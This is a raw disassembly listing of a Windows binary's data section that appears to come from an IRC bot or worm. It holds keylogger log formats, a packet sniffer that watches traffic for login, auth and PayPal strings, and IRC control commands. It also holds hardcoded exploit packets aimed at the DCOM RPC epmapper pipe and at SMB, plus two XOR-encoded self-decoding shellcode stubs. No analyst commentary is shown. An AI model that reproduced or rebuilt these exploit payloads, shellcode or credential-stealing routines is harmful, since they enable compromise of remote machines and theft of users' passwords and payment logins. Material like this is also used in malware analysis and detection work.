dword_4263B4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+15Fo
		dd 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4263E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+EEo
		dd 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_42642C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+70o
		dd 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4023A7:loc_40248Ao
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_426BA4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_426BDC	dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
					; DATA XREF: sub_4022C6+AEo
		dd 2202967h, 2002BBBBh,	732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_4022C6+4Eo
					; sub_40EE72+2AE5o
		align 4
asc_426C1C:				; DATA XREF: sub_4022C6+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo
		align 4
off_426C68	dd offset off_4274E0	; DATA XREF: sub_402688+29Er
		dd offset off_4274DC
		dd offset off_4274D8
		dd offset aHttp		; "HTTP"
dword_426C78	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_402688+1DEo
dword_426C8C	dd 0			; DATA XREF: sub_402688+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: ___:00426C74o
		align 4
off_4274D8	dd offset byte_505446	; DATA XREF: ___:00426C70o
off_4274DC	dd offset byte_435249	; DATA XREF: ___:00426C6Co
off_4274E0	dd offset word_544F42	; DATA XREF: ___:off_426C68o
unk_4274E4	db    2			; DATA XREF: sub_402688+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_427528	db    2			; DATA XREF: sub_402688+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_402688+235o
		align 4
unk_427578	db    2			; DATA XREF: sub_402688+186o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 10h
unk_4275C0	db    2			; DATA XREF: sub_402688+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_427604	db    2			; DATA XREF: sub_402688+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
dword_427648	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_402DD7+E1o
					; sub_402DD7+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_427694	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_402B84+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4279F8	dd 20h,	0		; DATA XREF: sub_402B84+136o
		dd 20h,	5C005Ch, 0
off_427A0C	dd offset off_43005C	; DATA XREF: sub_402B84+15Do
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_427A4C	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_402B84+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_427B5C	dd 18759Fh		; DATA XREF: sub_402B84+104o
dword_427B60	dd 100139Dh		; DATA XREF: sub_402B84+FBo
asc_427B64:				; DATA XREF: sub_4029E9+1Co
					; sub_402ACC+16o
		unicode	0, <\\>,0
		align 4
off_427B6C	dd offset dword_49005C	; DATA XREF: sub_4029E9+Co
					; sub_402ACC+Bo
		dd offset off_430050
		dd 24h
unk_427B78	db    2			; DATA XREF: sub_402DD7+299o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  transfer complete to IP: %s',0
		align 10h
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o
		align 8
		jmp	short loc_427BDA

; =============== S U B	R O U T	I N E =======================================



sub_427BCA	proc far		; CODE XREF: sub_427BCA:loc_427BDAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_427BD2:				; CODE XREF: sub_427BCA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_427BD2
		jmp	short loc_427BDF
; ---------------------------------------------------------------------------


loc_427BDA:				; CODE XREF: ___:00427BC8j
		call	near ptr sub_427BCA


loc_427BDF:				; CODE XREF: sub_427BCA+Ej
		jo	short loc_427C43
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_427C61
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_427C43:				; CODE XREF: sub_427BCA:loc_427BDFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_427C61:				; CODE XREF: sub_427BCA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_427BCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_427D08:				; DATA XREF: sub_403249+156o
					; sub_403249+212o
		jmp	short loc_427D1A

; =============== S U B	R O U T	I N E =======================================



sub_427D0A	proc near		; CODE XREF: sub_427D0A:loc_427D1Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_427D12:				; CODE XREF: sub_427D0A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_427D12
		jmp	short loc_427D1F
; ---------------------------------------------------------------------------


loc_427D1A:				; CODE XREF: ___:loc_427D08j
		call	sub_427D0A


loc_427D1F:				; CODE XREF: sub_427D0A+Ej
		jo	short near ptr dword_427C98+1Eh
		cwde
		cdq
		cdq
		retn
sub_427D0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_427DB8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_403249+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_427EA0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040370Do
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_427F2C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403739o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_427FD8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403760o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4280B8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_403249+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_42811C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_428188	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42822C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4282AC	dd offset loc_401493+2	; DATA XREF: sub_403249+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_428340	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4283AC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
